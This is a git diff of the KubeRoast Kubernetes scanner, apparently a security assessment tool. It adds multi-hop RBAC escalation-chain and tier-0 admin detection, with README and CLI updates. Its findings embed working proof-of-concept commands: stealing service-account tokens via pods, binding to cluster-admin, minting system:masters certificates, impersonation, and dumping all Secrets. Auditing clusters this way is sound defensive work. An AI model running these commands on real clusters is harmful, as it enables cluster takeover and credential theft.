+| Multi-hop RBAC escalation chains (incl. CSR cert-mint) | β
| β | β | β |
+| Tier-0 / effective-cluster-admin identification | β
| β | β | β |
+| Cloud-account pivot modeling (IMDS + IRSA/WI) | β
| β | β | β |
+| etcd / insecure-apiserver exposure probes | β
| partial | β | β
|
+| VersionβCVE correlation with KEV/EPSS | β
| β | partial | partial |
+| Active kubelet HTTP enumeration | β
| β | β | β
|
+| SA token JWT decode (legacy detection) | β
| β | β | β |
+| Credential hunt (ConfigMaps + env + args) | β
| β | partial | β |
+| Webhook bypass audit (failurePolicy) | β
| β | β | β |
+| Workload template coverage | β
| β | β
| β |
+| Shift-left manifest mode | β
| β | β
| β |
+| Attack paths lead; lint hidden by default | β
| β | β | β |
+| Single binary install | β
| β
| β
| β
|
+
## Troubleshooting
| Problem | Fix |
|---|---|
-| `403/401` on some APIs | KubeRoast continues with partial results. Add RBAC permissions above. |
+| `403/401` on some APIs | KubeRoast continues with partial results. Add the RBAC above. |
| No cluster found | Check `KUBECONFIG` or run `kubectl config get-contexts` |
| HTML requires `--out` | `kuberoast --report html --out report.html` |
-| Slow on large clusters | Use `--skip-secrets`, `--skip-nodes`, or `-n ` to scope down |
-| Node probes timing out | Kubelet ports may be firewalled. Use `--skip-nodes` |
+| Slow on large clusters | Use `--skip-kubelet-probe`, `--skip-configmaps`, or `-n ` |
+| Kubelet probes timing out | Kubelet ports may be firewalled. Use `--skip-kubelet-probe` |
+| `Manifest mode requires PyYAML` | `pip install 'kuberoast[manifests]'` |
## Roadmap
-- CIS Kubernetes Benchmark tagging
-- Provider-specific remediation (EKS/AKS/GKE)
-- Offline manifest scanning (`--manifests`)
-- Gatekeeper/Kyverno policy inventory & drift
-- MITRE ATT&CK technique tags per finding
-- Dockerfile for containerized scanning
+- Expand the CVE knowledge base + optional OSV/NVD live lookup
+- CRD-defined secret detection (SealedSecrets, ExternalSecrets, Vault)
+- ATT&CK navigator-layer export from finding techniques
+- NetworkPolicy lateral-movement gap analysis (flat-network namespaces)
## Contributing
-PRs welcome. Please:
+PRs welcome. Bar for new rules:
-1. Add/update unit tests for each new rule
-2. Ground severities in public guidance or reproducible attacker tradecraft
-3. Keep remediation text explicit and actionable
+1. Add unit tests that reflect a real attacker scenario, not a field-presence check
+2. Severity grounded in public guidance or reproducible attacker tradecraft
+3. Include `exploit`, `impact`, and `attack_techniques` where applicable
4. Run `pytest` before submitting
## License
@@ -356,7 +522,7 @@ MIT β see [LICENSE](./LICENSE).
## π Documentation & Author
-This project's full writeup, methodology, and related research lives at:
+Project writeup, methodology, and related research:
**[https://snailsploit.com/tools](https://snailsploit.com/tools)**
diff --git a/kuberoast/__init__.py b/kuberoast/__init__.py
index a9a2c5b..7689aca 100644
--- a/kuberoast/__init__.py
+++ b/kuberoast/__init__.py
@@ -1 +1,2 @@
-__all__ = []
+__version__ = "0.4.0"
+__all__ = ["__version__"]
diff --git a/kuberoast/attackpaths/sa_chains.py b/kuberoast/attackpaths/sa_chains.py
new file mode 100644
index 0000000..fed560c
--- /dev/null
+++ b/kuberoast/attackpaths/sa_chains.py
@@ -0,0 +1,338 @@
+"""Multi-hop ServiceAccount β ServiceAccount escalation paths.
+
+The existing `rbac_escalation.py` flags principals that have risky 1-hop
+capabilities (e.g. "this SA can bind RoleBindings"). Real attackers chain
+those primitives: SA1 can create pods β SA1 launches pod as SA2 β SA2
+has cluster-admin via existing binding β done.
+
+This module builds a directed escalation graph over principals and
+finds shortest paths from any non-admin principal to a target with
+cluster-wide write power. Each path becomes one finding with the
+intermediate hops spelled out and a per-hop PoC.
+
+Edges considered:
+
+ * SA-A can `create pods` in NS where SA-B exists β SA-A can mint a pod
+ with serviceAccountName: SA-B and inherit its identity.
+ * SA-A can `create pods/exec` on a pod running as SA-B β exec into it,
+ read /var/run/secrets/kubernetes.io/serviceaccount/token, become SA-B.
+ * SA-A can `update`/`patch` deployments/statefulsets/daemonsets/jobs in
+ NS where SA-B is referenced β mutate template.spec.serviceAccountName,
+ wait for rollout, inherit SA-B.
+ * SA-A can `create`/`update` RoleBindings/ClusterRoleBindings β bind
+ self (or any subject) to any Role, including cluster-admin.
+ * SA-A can `escalate` on roles β grant self extra permissions in any
+ existing Role (no need for cluster-admin).
+ * SA-A can `impersonate` users/groups/serviceaccounts β directly act as
+ target.
+ * SA-A can `create serviceaccounts/token` β mint a bound token for any
+ SA they can name.
+
+Targets we consider terminal:
+ * cluster-admin via direct binding
+ * any principal with verbs * resources * (effective cluster-admin)
+ * any principal with `update nodes` (can move pods, label-spoof for IRSA)
+ * any principal with `get secrets *` (read every secret in cluster)
+"""
+from collections import defaultdict, deque
+from typing import Dict, List, Set, Tuple, Optional, DefaultDict
+from ..utils.findings import Finding
+
+
+def _principal_id(kind: str, name: str, namespace: Optional[str] = None) -> str:
+ if kind == "ServiceAccount" and namespace:
+ return f"sa:{namespace}:{name}"
+ return f"{kind.lower()}:{name}"
+
+
+def _has_perm(perms: Set[Tuple[str, str]], verb: str, resource: str) -> bool:
+ return (
+ (verb, resource) in perms
+ or (verb, "*") in perms
+ or ("*", resource) in perms
+ or ("*", "*") in perms
+ )
+
+
+def _is_terminal_admin(perms: Set[Tuple[str, str]]) -> Tuple[bool, str]:
+ """Return (is_admin, reason)."""
+ if ("*", "*") in perms:
+ return True, "wildcard verbs on wildcard resources (effective cluster-admin)"
+ if _has_perm(perms, "get", "secrets") and _has_perm(perms, "list", "secrets"):
+ # Reading every secret in cluster is game-over-grade.
+ return True, "can read all secrets (credential exfiltration enables full cluster takeover)"
+ return False, ""
+
+
+def _build_principal_perms(roles, croles, rbs, crbs) -> Tuple[
+ DefaultDict[str, Set[Tuple[str, str]]],
+ DefaultDict[str, Set[str]],
+ DefaultDict[str, Set[str]],
+]:
+ """Return (perms_per_principal, role_keys_per_principal, role_namespaces_per_principal)."""
+ role_rules: Dict[str, List] = {}
+ for r in roles:
+ role_rules[f"Role/{r.metadata.namespace}/{r.metadata.name}"] = list(r.rules or [])
+ for cr in croles:
+ role_rules[f"ClusterRole/{cr.metadata.name}"] = list(cr.rules or [])
+
+ principal_roles: DefaultDict[str, Set[str]] = defaultdict(set)
+ principal_namespaces: DefaultDict[str, Set[str]] = defaultdict(set)
+
+ def add_binding(b, is_crb=False):
+ rr = b.role_ref
+ if is_crb or rr.kind == "ClusterRole":
+ role_key = f"ClusterRole/{rr.name}"
+ binding_ns = None
+ else:
+ binding_ns = b.metadata.namespace
+ role_key = f"Role/{binding_ns}/{rr.name}"
+ for s in (b.subjects or []):
+ ns = getattr(s, "namespace", None)
+ pid = _principal_id(s.kind, s.name, ns)
+ principal_roles[pid].add(role_key)
+ # track which namespaces a principal has any binding in
+ if binding_ns:
+ principal_namespaces[pid].add(binding_ns)
+ elif ns:
+ principal_namespaces[pid].add(ns)
+
+ for b in rbs:
+ add_binding(b, is_crb=False)
+ for b in crbs:
+ add_binding(b, is_crb=True)
+
+ principal_perms: DefaultDict[str, Set[Tuple[str, str]]] = defaultdict(set)
+ for p, rset in principal_roles.items():
+ for rk in rset:
+ for rule in role_rules.get(rk, []):
+ verbs = set(rule.verbs or [])
+ resources = set(rule.resources or [])
+ for v in verbs:
+ for res in resources:
+ principal_perms[p].add((v, res))
+
+ return principal_perms, principal_roles, principal_namespaces
+
+
+def _build_edges(
+ principal_perms: DefaultDict[str, Set[Tuple[str, str]]],
+ sa_to_pods: Dict[str, Set[Tuple[str, str]]],
+ all_principals: Set[str],
+) -> DefaultDict[str, List[Tuple[str, str, str]]]:
+ """Build edges principal β (target_principal, reason, poc_command).
+
+ Edges represent: "principal A can become principal B via this primitive."
+ For broad primitives like 'can create rolebindings' we add an edge to
+ every other principal because A can always bind to ANY role.
+ """
+ edges: DefaultDict[str, List[Tuple[str, str, str]]] = defaultdict(list)
+
+ sa_principals = [p for p in all_principals if p.startswith("sa:")]
+
+ for principal, perms in principal_perms.items():
+ # 1. create pods β become any SA in the same namespace
+ if _has_perm(perms, "create", "pods"):
+ ns = principal.split(":", 2)[1] if principal.startswith("sa:") else None
+ for sa in sa_principals:
+ if sa == principal:
+ continue
+ sa_ns = sa.split(":", 2)[1]
+ if ns and sa_ns != ns:
+ continue
+ edges[principal].append((
+ sa,
+ "create a pod with serviceAccountName set to target SA",
+ f"kubectl run pwn --image=busybox --serviceaccount={sa.split(':')[-1]} -n {sa_ns} -- sleep 999\n"
+ f"kubectl exec -n {sa_ns} pwn -- cat /var/run/secrets/kubernetes.io/serviceaccount/token",
+ ))
+
+ # 2. exec into pods β become the SA that runs the target pod
+ if _has_perm(perms, "create", "pods/exec") or _has_perm(perms, "get", "pods/exec"):
+ for sa, pods in sa_to_pods.items():
+ if sa == principal:
+ continue
+ for ns, pod_name in pods:
+ edges[principal].append((
+ sa,
+ f"exec into pod {ns}/{pod_name} which runs as target SA",
+ f"kubectl exec -n {ns} {pod_name} -- cat /var/run/secrets/kubernetes.io/serviceaccount/token",
+ ))
+ break # one example pod per SA is enough
+
+ # 3. update workload templates β swap serviceAccountName, wait for rollout
+ if _has_perm(perms, "update", "deployments") or _has_perm(perms, "patch", "deployments"):
+ for sa in sa_principals:
+ if sa == principal:
+ continue
+ ns = sa.split(":", 2)[1]
+ sa_name = sa.split(":")[-1]
+ edges[principal].append((
+ sa,
+ f"patch any Deployment in {ns} to use serviceAccountName={sa_name}",
+ f"kubectl patch deployment -n {ns} -p '{{\"spec\":{{\"template\":{{\"spec\":{{\"serviceAccountName\":\"{sa_name}\"}}}}}}}}'",
+ ))
+
+ # 4. create/update RoleBindings β bind self to any role (including cluster-admin)
+ if (
+ _has_perm(perms, "create", "rolebindings")
+ or _has_perm(perms, "create", "clusterrolebindings")
+ or _has_perm(perms, "update", "rolebindings")
+ or _has_perm(perms, "update", "clusterrolebindings")
+ ):
+ # synthetic "cluster-admin" target
+ edges[principal].append((
+ "ClusterRole/cluster-admin",
+ "bind self to cluster-admin via (Cluster)RoleBinding write",
+ "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:",
+ ))
+
+ # 4b. CSR cert-minting β issue a system:masters client cert
+ can_create_csr = _has_perm(perms, "create", "certificatesigningrequests")
+ can_approve_csr = (
+ _has_perm(perms, "update", "certificatesigningrequests/approval")
+ or _has_perm(perms, "patch", "certificatesigningrequests/approval")
+ or _has_perm(perms, "approve", "signers")
+ )
+ if can_create_csr and can_approve_csr:
+ edges[principal].append((
+ "ClusterRole/cluster-admin",
+ "mint a system:masters client certificate via the CSR API",
+ "openssl req -new -nodes -keyout k -subj '/O=system:masters/CN=pwn' -out r; "
+ "kubectl create csr ... signerName=kubernetes.io/kube-apiserver-client; "
+ "kubectl certificate approve pwn",
+ ))
+
+ # 5. escalate verb β grant self any verbs on existing roles
+ if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles"):
+ edges[principal].append((
+ "ClusterRole/cluster-admin",
+ "use escalate verb to elevate existing role with cluster-admin verbs",
+ "kubectl patch clusterrole --type=json -p='[{\"op\":\"add\",\"path\":\"/rules/-\",\"value\":{\"apiGroups\":[\"*\"],\"resources\":[\"*\"],\"verbs\":[\"*\"]}}]'",
+ ))
+
+ # 6. impersonate β directly act as target
+ if _has_perm(perms, "impersonate", "users") or _has_perm(perms, "impersonate", "serviceaccounts") or _has_perm(perms, "impersonate", "groups"):
+ edges[principal].append((
+ "*:system:masters",
+ "impersonate system:masters group (cluster-admin)",
+ "kubectl --as=system:admin --as-group=system:masters get pods --all-namespaces",
+ ))
+
+ # 7. token request abuse β mint token for any SA
+ if _has_perm(perms, "create", "serviceaccounts/token"):
+ for sa in sa_principals:
+ if sa == principal:
+ continue
+ ns = sa.split(":", 2)[1]
+ sa_name = sa.split(":")[-1]
+ edges[principal].append((
+ sa,
+ f"request bound token for {sa} via TokenRequest API",
+ f"kubectl create token {sa_name} -n {ns}",
+ ))
+
+ return edges
+
+
+def _bfs_paths(edges, start: str, terminals: Set[str], max_depth: int = 4) -> Optional[List[Tuple[str, str, str]]]:
+ """Return shortest path from start to any terminal as list of (next_principal, reason, poc)."""
+ if start in terminals:
+ return []
+ visited = {start}
+ queue = deque([(start, [])]) # (current, path_so_far)
+ while queue:
+ current, path = queue.popleft()
+ if len(path) >= max_depth:
+ continue
+ for (nxt, reason, poc) in edges.get(current, []):
+ if nxt in visited:
+ continue
+ new_path = path + [(nxt, reason, poc)]
+ if nxt in terminals or nxt == "ClusterRole/cluster-admin" or nxt == "*:system:masters":
+ return new_path
+ visited.add(nxt)
+ queue.append((nxt, new_path))
+ return None
+
+
+def analyze_sa_chains(roles, croles, rbs, crbs, pods) -> List[Finding]:
+ """Discover multi-hop escalation chains and emit one finding per chain."""
+ findings: List[Finding] = []
+
+ principal_perms, _principal_roles, _principal_ns = _build_principal_perms(roles, croles, rbs, crbs)
+
+ # SA β pods running it (each pod recorded as (namespace, pod_name))
+ sa_to_pods: Dict[str, Set[Tuple[str, str]]] = defaultdict(set)
+ for pod in pods:
+ ns = pod.metadata.namespace
+ pname = pod.metadata.name
+ sa = (pod.spec.service_account_name or "default") if pod.spec else "default"
+ sa_to_pods[f"sa:{ns}:{sa}"].add((ns, pname))
+
+ all_principals = set(principal_perms.keys()) | set(sa_to_pods.keys())
+
+ # Find terminal principals (those with effective admin)
+ terminals: Set[str] = set()
+ terminal_reasons: Dict[str, str] = {}
+ for p, perms in principal_perms.items():
+ is_term, why = _is_terminal_admin(perms)
+ if is_term:
+ terminals.add(p)
+ terminal_reasons[p] = why
+
+ edges = _build_edges(principal_perms, sa_to_pods, all_principals)
+
+ # For each non-terminal principal, BFS for a chain to a terminal
+ for start in all_principals:
+ if start in terminals:
+ continue
+ # Skip system principals that are *expected* to have admin reach
+ if start.startswith("sa:kube-system:") or start in ("user:system:admin", "group:system:masters"):
+ continue
+ path = _bfs_paths(edges, start, terminals, max_depth=4)
+ if path is None or not path:
+ continue
+ # Build a human-readable chain
+ hops = [f"{start}"]
+ steps = []
+ for (next_p, reason, poc) in path:
+ hops.append(next_p)
+ steps.append(f" - {reason}\n PoC: {poc}")
+ terminal = path[-1][0]
+ terminal_reason = terminal_reasons.get(terminal, "cluster-admin via binding")
+ hop_count = len(path)
+ sev = "critical" if hop_count <= 2 else "high"
+ chain_str = " β ".join(hops)
+ steps_str = "\n".join(steps)
+
+ # Use a finding ID that's deterministic per start principal so re-runs are stable
+ findings.append(Finding(
+ id="AP-CHAIN",
+ title=f"Escalation chain ({hop_count} hop): {start} β cluster-admin",
+ description=(
+ f"Principal {start} can reach cluster-admin in {hop_count} step(s).\n\n"
+ f"Chain: {chain_str}\n\n"
+ f"Steps:\n{steps_str}\n\n"
+ f"Terminal capability: {terminal_reason}"
+ ),
+ severity=sev,
+ category="AttackPath",
+ resource=start,
+ exploitability="trivial" if hop_count == 1 else "easy" if hop_count == 2 else "moderate",
+ exploit=steps[0].strip() if steps else None,
+ impact=f"Full cluster compromise via {hop_count}-hop escalation. Pods running this principal effectively run as cluster-admin.",
+ attack_techniques=["T1078.004", "T1098.003"],
+ remediation=(
+ "Break the chain at the earliest hop. Common fixes: remove `create pods` and "
+ "`pods/exec` from non-admin SAs; never grant `bind`/`escalate`/`impersonate`; "
+ "deny `update` on workload templates that reference privileged SAs."
+ ),
+ references=[
+ "https://attack.mitre.org/techniques/T1098/003/",
+ "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
+ "https://raesene.github.io/blog/2021/01/16/Getting-Into-A-Bind-with-Kubernetes/",
+ ],
+ ))
+
+ return findings
diff --git a/kuberoast/attackpaths/tier_zero.py b/kuberoast/attackpaths/tier_zero.py
new file mode 100644
index 0000000..15b1ac8
--- /dev/null
+++ b/kuberoast/attackpaths/tier_zero.py
@@ -0,0 +1,209 @@
+"""Tier-0 / crown-jewel identification.
+
+`rbac.py` flags suspicious verbs. `sa_chains.py` finds escalation *paths*.
+This module answers a different question: **which principals are already,
+right now, effectively cluster-admin** β without the literal
+`cluster-admin` binding that `RBAC-CLUSTER-ADMIN` would catch?
+
+These are the keys to the kingdom an assessor wants named explicitly:
+
+ * CSR mint create CSR + approve β issue a client cert with
+ CN/O=system:masters. Instant cluster-admin cert.
+ * nodes/proxy proxy to every kubelet β exec in any pod on any node.
+ * exec anywhere pods/exec or pods/attach cluster-wide β run in any
+ pod, including privileged kube-system pods.
+ * read all secrets get+list secrets cluster-wide β harvest every
+ credential, including bootstrap & SA tokens.
+ * mint tokens serviceaccounts/token β impersonate any SA.
+ * admission control write to validating/mutating webhook configs β
+ intercept or mutate every admitted object.
+ * impersonate / escalate / bind β trivially become anyone.
+ * modify nodes patch/update nodes β label-spoof (IRSA/WI), taint,
+ influence scheduling onto attacker-controlled nodes.
+
+We skip the obvious/expected holders (literal cluster-admin, system:masters,
+kube-system control-plane SAs) so the output is the *non-obvious* admins.
+"""
+from typing import List, Set, Tuple, Dict
+from ..utils.findings import Finding
+from .sa_chains import _build_principal_perms, _has_perm, _principal_id
+
+
+# (predicate, primitive-name, severity, exploit, impact, techniques)
+def _tier0_primitives(perms: Set[Tuple[str, str]]) -> List[Tuple[str, str, str, str, List[str]]]:
+ found = []
+
+ # CSR cert minting: create CSR + ability to approve (or the signer).
+ can_create_csr = _has_perm(perms, "create", "certificatesigningrequests")
+ can_approve_csr = (
+ _has_perm(perms, "update", "certificatesigningrequests/approval")
+ or _has_perm(perms, "patch", "certificatesigningrequests/approval")
+ or _has_perm(perms, "approve", "signers")
+ or _has_perm(perms, "*", "certificatesigningrequests")
+ )
+ if can_create_csr and can_approve_csr:
+ found.append((
+ "mint a system:masters client certificate via the CSR API",
+ "trivial",
+ "# 1. openssl req -new -newkey rsa:2048 -nodes -keyout pwn.key -subj '/O=system:masters/CN=pwn' -out pwn.csr\n"
+ "# 2. kubectl create -f - < pwn.crt\n"
+ "# 5. kubectl --client-certificate=pwn.crt --client-key=pwn.key get secrets -A",
+ "Issues a client certificate in group system:masters β permanent cluster-admin "
+ "that bypasses RBAC entirely and survives SA/token revocation.",
+ ["T1098.001", "T1649"],
+ ))
+
+ # nodes/proxy β kubelet API on every node
+ if _has_perm(perms, "create", "nodes/proxy") or _has_perm(perms, "get", "nodes/proxy") or _has_perm(perms, "*", "nodes/proxy"):
+ found.append((
+ "proxy to every kubelet via nodes/proxy",
+ "easy",
+ "kubectl get --raw /api/v1/nodes//proxy/pods\n"
+ "kubectl get --raw '/api/v1/nodes//proxy/run///?cmd=id'",
+ "Command execution in any pod on any node via the kubelet API β equivalent to exec-anywhere "
+ "plus node-local credential theft.",
+ ["T1610", "T1613"],
+ ))
+
+ # exec/attach cluster-wide
+ if _has_perm(perms, "create", "pods/exec") or _has_perm(perms, "create", "pods/attach") or _has_perm(perms, "*", "pods/exec"):
+ found.append((
+ "exec into any pod cluster-wide",
+ "trivial",
+ "kubectl exec -n kube-system -- sh\n"
+ "# then read /var/run/secrets/... or escape if the pod is privileged",
+ "Run commands inside any pod, including privileged control-plane pods β harvest their SA "
+ "tokens and escape to the node.",
+ ["T1610"],
+ ))
+
+ # read all secrets
+ if _has_perm(perms, "get", "secrets") and _has_perm(perms, "list", "secrets"):
+ found.append((
+ "read every Secret in the cluster",
+ "trivial",
+ "kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | .value' | base64 -d",
+ "Harvest all credentials cluster-wide: SA tokens, registry creds, TLS keys, bootstrap tokens.",
+ ["T1552.005"],
+ ))
+
+ # mint SA tokens
+ if _has_perm(perms, "create", "serviceaccounts/token"):
+ found.append((
+ "mint a token for any ServiceAccount",
+ "trivial",
+ "kubectl create token -n ",
+ "Impersonate any ServiceAccount, including highly-privileged ones.",
+ ["T1098.004", "T1550.001"],
+ ))
+
+ # admission control
+ if (_has_perm(perms, "create", "validatingwebhookconfigurations")
+ or _has_perm(perms, "update", "validatingwebhookconfigurations")
+ or _has_perm(perms, "create", "mutatingwebhookconfigurations")
+ or _has_perm(perms, "update", "mutatingwebhookconfigurations")):
+ found.append((
+ "register or modify admission webhooks",
+ "easy",
+ "# Register a MutatingWebhookConfiguration that points at an attacker service and\n"
+ "# injects sidecars / steals objects (incl. Secret payloads) on every admission.",
+ "Intercept and mutate every object admitted to the cluster β credential capture and "
+ "cluster-wide implant.",
+ ["T1554", "T1556"],
+ ))
+
+ # impersonate
+ if _has_perm(perms, "impersonate", "users") or _has_perm(perms, "impersonate", "groups") or _has_perm(perms, "impersonate", "serviceaccounts"):
+ found.append((
+ "impersonate arbitrary identities",
+ "trivial",
+ "kubectl --as=anything --as-group=system:masters get secrets -A",
+ "Act as any user/group/SA, including system:masters (cluster-admin).",
+ ["T1134"],
+ ))
+
+ # escalate / bind
+ if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles") \
+ or _has_perm(perms, "bind", "roles") or _has_perm(perms, "bind", "clusterroles"):
+ found.append((
+ "grant itself arbitrary permissions (escalate/bind)",
+ "trivial",
+ "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:",
+ "Self-elevate to cluster-admin via the escalate/bind verbs.",
+ ["T1098.003"],
+ ))
+
+ # modify nodes
+ if _has_perm(perms, "update", "nodes") or _has_perm(perms, "patch", "nodes"):
+ found.append((
+ "modify node objects",
+ "moderate",
+ "kubectl label node =true # then schedule a privileged pod onto it",
+ "Label/taint spoofing to control scheduling (e.g. force workloads onto an attacker node), "
+ "and on some setups affect node-bound IAM/IRSA selection.",
+ ["T1496", "T1610"],
+ ))
+
+ return found
+
+
+# Principals we expect to be powerful β don't report them as 'hidden' admins.
+def _is_expected_admin(principal: str) -> bool:
+ if principal.startswith("sa:kube-system:"):
+ return True
+ if principal in ("group:system:masters", "user:kubernetes-admin", "user:system:admin"):
+ return True
+ if principal.startswith("group:system:nodes"):
+ return True
+ return False
+
+
+def analyze_tier_zero(roles, croles, rbs, crbs, pods=None) -> List[Finding]:
+ findings: List[Finding] = []
+ principal_perms, _roles, _ns = _build_principal_perms(roles, croles, rbs, crbs)
+
+ for principal, perms in principal_perms.items():
+ if _is_expected_admin(principal):
+ continue
+ prims = _tier0_primitives(perms)
+ if not prims:
+ continue
+ # Most severe exploitability wins for the headline.
+ order = {"trivial": 4, "easy": 3, "moderate": 2, "hard": 1, "theoretical": 0}
+ prims_sorted = sorted(prims, key=lambda p: order.get(p[1], 0), reverse=True)
+ headline = prims_sorted[0]
+ names = [p[0] for p in prims_sorted]
+ all_techniques = sorted({t for p in prims_sorted for t in p[4]})
+
+ desc = (
+ f"Principal {principal} holds tier-0 permissions that make it effectively cluster-admin "
+ f"without a cluster-admin binding:\n"
+ + "\n".join(f" - {n}" for n in names)
+ )
+ findings.append(Finding(
+ id="AP-TIER0",
+ title=f"Effective cluster-admin (tier-0): {principal}",
+ description=desc,
+ severity="critical",
+ category="AttackPath",
+ resource=principal,
+ exploitability=headline[1],
+ exploit=headline[2],
+ impact=headline[3],
+ attack_techniques=all_techniques,
+ remediation=(
+ "Treat this principal as tier-0. Remove the crown-jewel verbs unless absolutely required, "
+ "split duties, and put any unavoidable holders under audit + alerting. "
+ "Crown-jewel verbs: CSR create+approve, nodes/proxy, cluster-wide pods/exec, secrets get+list, "
+ "serviceaccounts/token, webhook config writes, impersonate/escalate/bind, nodes patch."
+ ),
+ references=[
+ "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping",
+ "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
+ ],
+ ))
+
+ return findings
diff --git a/kuberoast/cli.py b/kuberoast/cli.py
index 5f3451a..8e8ebf2 100644
--- a/kuberoast/cli.py
+++ b/kuberoast/cli.py
@@ -1,32 +1,98 @@
-import argparse, logging, sys
-from typing import List
-from .utils.kube import load_clients, list_all_pods, list_all_nodes, list_rbac, list_all_secrets, list_all_namespaces, list_all_services, list_all_ingresses, list_all_crds
+import argparse
+import logging
+import sys
+import textwrap
+from typing import List, Optional
+
+from . import __version__
+from .utils import colors as c
+from .utils.kube import (
+ load_clients,
+ list_all_pods, list_all_nodes, list_rbac, list_all_secrets,
+ list_all_namespaces, list_all_services, list_all_ingresses, list_all_crds,
+ list_all_configmaps, list_all_deployments, list_all_statefulsets,
+ list_all_daemonsets, list_all_jobs, list_all_cronjobs,
+ list_validating_webhooks, list_mutating_webhooks,
+ list_all_service_accounts, list_all_network_policies, get_server_version,
+)
+from .utils.findings import Finding, HYGIENE_FINDING_IDS
+from .utils.workloads import iter_workload_pods, relabel_workload_findings, amplify_daemonset_findings
from .scanners.pods import scan_pod_security
from .scanners.nodes import scan_nodes
+from .scanners.kubelet import scan_kubelet
from .scanners.rbac import scan_rbac
from .scanners.secrets import scan_secrets
from .scanners.pss import scan_namespace_pss
from .scanners.network import scan_services, scan_ingresses
from .scanners.policy import scan_policy_engines
+from .scanners.escapes import scan_escapes
+from .scanners.configmaps import scan_configmaps
+from .scanners.podsecrets import scan_pod_credentials
+from .scanners.tokens import scan_tokens
+from .scanners.webhooks import scan_webhooks
+from .scanners.cloud import scan_cloud_pivots
+from .scanners.controlplane import scan_control_plane
+from .scanners.cve import scan_cve, find_ingress_images
from .attackpaths.rbac_escalation import analyze_attack_paths
+from .attackpaths.sa_chains import analyze_sa_chains
+from .attackpaths.tier_zero import analyze_tier_zero
from .reporting import json as json_report, text as text_report, html as html_report
-from .utils.findings import Finding
logger = logging.getLogger("kuberoast")
SEVERITY_ORDER = {"info": 0, "low": 1, "medium": 2, "high": 3, "critical": 4}
+# Workload kinds we cover beyond bare Pods.
+WORKLOAD_LISTERS = [
+ ("Deployment", "apps", list_all_deployments),
+ ("StatefulSet", "apps", list_all_statefulsets),
+ ("DaemonSet", "apps", list_all_daemonsets),
+ ("Job", "batch", list_all_jobs),
+ ("CronJob", "batch", list_all_cronjobs),
+]
+
+
+def _scan_pod_collection(pods, kind: str = "Pod") -> List[Finding]:
+ """Run pod-level scanners (security + escape + hardcoded creds) across pod-like objects."""
+ out: List[Finding] = []
+ for p in pods:
+ out.extend(scan_pod_security(p))
+ out.extend(scan_escapes(p))
+ out.extend(scan_pod_credentials(p))
+ return out
+
def run_cluster_scan(args) -> List[Finding]:
ns = getattr(args, "namespace", None)
clients = load_clients(kubeconfig=getattr(args, "kubeconfig", None))
- core, rbac_api, networking, apiext = clients["core"], clients["rbac"], clients["networking"], clients["apiextensions"]
+ core = clients["core"]
+ apps = clients["apps"]
+ batch = clients["batch"]
+ rbac_api = clients["rbac"]
+ networking = clients["networking"]
+ apiext = clients["apiextensions"]
+ admission = clients["admission"]
+ version_api = clients["version"]
+
findings: List[Finding] = []
logger.info("Scanning pods...")
pods = list_all_pods(core, namespace=ns)
- for p in pods:
- findings.extend(scan_pod_security(p))
+ findings.extend(_scan_pod_collection(pods))
+
+ # Workloads: extract pod templates and run pod-level scanners on each
+ logger.info("Scanning workload templates (Deployment/StatefulSet/DaemonSet/Job/CronJob)...")
+ client_for = {"apps": apps, "batch": batch}
+ deployments_cache = []
+ for kind, client_key, lister in WORKLOAD_LISTERS:
+ workloads = lister(client_for[client_key], namespace=ns)
+ if kind == "Deployment":
+ deployments_cache = workloads
+ for synth_pod, _kind, name in iter_workload_pods(workloads, kind):
+ wl_findings = _scan_pod_collection([synth_pod])
+ wl_findings = relabel_workload_findings(wl_findings, kind, name)
+ wl_findings = amplify_daemonset_findings(wl_findings, kind)
+ findings.extend(wl_findings)
logger.info("Scanning namespace PSS labels...")
nslist = list_all_namespaces(core)
@@ -36,19 +102,48 @@ def run_cluster_scan(args) -> List[Finding]:
roles, croles, rbs, crbs = list_rbac(rbac_api, namespace=ns)
findings.extend(scan_rbac(roles, croles, rbs, crbs))
+ # Nodes are needed for cloud-pivot + CVE correlation regardless of probing.
+ logger.info("Listing nodes...")
+ nodes = list_all_nodes(core)
+
if not args.skip_nodes:
- logger.info("Scanning nodes...")
- nodes = list_all_nodes(core)
- findings.extend(scan_nodes(nodes))
+ logger.info("Probing nodes (TCP + active kubelet probes)...")
+ findings.extend(scan_nodes(nodes)) # legacy TCP probe (kept for backwards-compat)
+ if not args.skip_kubelet_probe:
+ findings.extend(scan_kubelet(nodes))
+ logger.info("Probing control plane (etcd / insecure apiserver)...")
+ findings.extend(scan_control_plane(nodes))
if not args.skip_secrets:
logger.info("Scanning secrets...")
secrets = list_all_secrets(core, namespace=ns)
findings.extend(scan_secrets(secrets))
+ findings.extend(scan_tokens(secrets))
+
+ if not args.skip_configmaps:
+ logger.info("Scanning ConfigMaps for credential leakage...")
+ configmaps = list_all_configmaps(core, namespace=ns)
+ findings.extend(scan_configmaps(configmaps))
if not args.skip_attack_paths:
- logger.info("Analyzing RBAC attack paths...")
+ logger.info("Analyzing 1-hop RBAC attack paths...")
findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods))
+ logger.info("Analyzing multi-hop RBAC escalation chains...")
+ findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods))
+ logger.info("Identifying tier-0 (effective cluster-admin) principals...")
+ findings.extend(analyze_tier_zero(roles, croles, rbs, crbs, pods))
+
+ if not args.skip_cloud:
+ logger.info("Modeling cloud-account pivots (IMDS + workload identity)...")
+ service_accounts = list_all_service_accounts(core, namespace=ns)
+ netpols = list_all_network_policies(networking, namespace=ns)
+ findings.extend(scan_cloud_pivots(nodes, service_accounts, netpols, nslist))
+
+ if not args.skip_cve:
+ logger.info("Correlating component versions against known-exploitable CVEs...")
+ server_version = get_server_version(version_api)
+ ingress_images = find_ingress_images(pods, deployments_cache)
+ findings.extend(scan_cve(server_version=server_version, nodes=nodes, ingress_images=ingress_images))
logger.info("Scanning services...")
services = list_all_services(core, namespace=ns)
@@ -58,6 +153,12 @@ def run_cluster_scan(args) -> List[Finding]:
ingresses = list_all_ingresses(networking, namespace=ns)
